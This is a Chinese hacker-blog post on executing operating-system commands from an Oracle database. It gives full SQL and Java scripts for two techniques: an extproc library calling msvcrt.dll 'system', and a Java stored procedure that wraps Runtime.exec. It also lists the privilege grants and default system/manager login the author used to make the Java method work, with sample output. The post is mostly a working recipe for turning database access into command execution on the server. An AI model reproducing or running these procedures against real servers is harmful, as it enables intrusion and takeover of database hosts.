导航

心动吧黑客BLOG

自发研究:须要多维思想而且要想不可能为可能的人才能做到

« Yxbbs3.0 两个注入漏洞Database Password Hashes Cracking »

oracle执行cmd


装了一个oracle db11g,于是想试一下网上流传的在sqlplus中执行cmd的一些命令,也不知怎么的,没一个好用的,可能是网上转来转去的转错了.不过有一个简单的执行cmd命令方法:

SQL> host net user

User accounts for \\PC-ATQHJ4UG1SDA

----------------------------------------------------------------------------

__vmware_user__          admin                    Administrator

ASPNET                   Guest                    IUSR_PC-ATQHJ4UG1SDA

IWAM_PC-ATQHJ4UG1SDA     SUPPORT_388945a0

The command completed successfully.



unix或linux下用

! command

 

======================补充======================

网上的另两种方法:

1是利用msvcrt.dll

写一个c:\orac.sql

内容:

Rem

Rem oracmd.sql

Rem

Rem Run system commands via Oracle database servers

Rem

Rem Bugs to david@ngssoftware.com

Rem

CREATE OR REPLACE LIBRARY exec_shell AS

'C:\windows\system32\msvcrt.dll';

/

show errors

CREATE OR REPLACE PACKAGE oracmd IS

PROCEDURE exec (cmdstring IN CHAR);

end oracmd;

/

show errors

CREATE OR REPLACE PACKAGE BODY oracmd IS

PROCEDURE exec(cmdstring IN CHAR)

IS EXTERNAL

NAME "system" LIBRARY exec_shell

LANGUAGE C;

end oracmd;

/

show errors

然后C:\>sqlplus /nolog

SQL*Plus: Release 8.1.7.0.0 - Production on Thu Jun 7 14:25:38 2001

(c) Copyright 2000 Oracle Corporation. All rights reserved.

SQL> connect system/manager@orcl (分别是用户名密码和sid)

Connected.

SQL> @c:\orac.sql

Library created.

No errors.

Package created.

No errors.

Package body created.

No errors.

SQL>

SQL> exec oracmd.exec ('dir > c:\oracle.txt');

结果在我本机出现

第 1 行出现错误:

ORA-28595: Extproc 代理: DLL 路径无效

ORA-06512: 在 "SYSTEM.ORACMD", line 2

ORA-06512: 在 line 1

没有成功。

第二种方法

c:\1.sql

create or replace and compile

java souRCe named "util"

as

import java.io.*;

import java.lang.*;

public class util extends Object

{

public static int RunThis(String args)

{

Runtime rt = Runtime.getRuntime();

int RC = -1;

try

{

Process p = rt.exec(args);

int bufSize = 4096;

BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);

int len;

byte buffer[] = new byte[bufSize];

// Echo back what the program spit out

while ((len = bis.read(buffer, 0, bufSize)) != -1)

System.out.write(buffer, 0, len);

RC = p.waitFor();

}

catch (Exception e)

{

e.printStackTrace();

RC = -1;

}

finally

{

return RC;

}

}

}

c:\2.sql

create or replace

function RUN_CMz(p_cmd in varchar2) return number

as

language java

name 'util.RunThis(java.lang.String) return integer';

c:\3.sql

create or replace procedure RC(p_cmd in varChar)

as

x number;

begin

x := RUN_CMz(p_cmd);

end;

登陆上去后依旧是依次执行

SQL> @c:\1.sql

        /

       @c:\2.sql

       /

      @c:\3.sql

      /

variable x number;

set serveroutput on;

exec dbms_java.set_output(100000);

grant javasyspriv to system;

grant javauserpriv to system;(网上的方法没有这一行,我无法成功,加上去可以)

exec :x:=run_cmz('ipconfig'); 成功运行了命令

测试环境win2003+oracle11g

原创文章如转载,请注明:转载自心动吧黑客BLOG [ http://www.abcxd.com/abcxd/ ]

本文链接地址:http://www.abcxd.com/abcxd/abcxdArticle/oracle/oracle-cmd.html

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

黑客榜之热文排行

黑客榜之本年排行

黑客榜之本月排行

黑客榜之随机文章

网站分类

搜索内容

最新评论及回复

最近发表

所属分类下的文章

日历

Copyright ⊙ 2004-2009 心动吧 UrL:ABCXD.CoM All RiGhts Reserved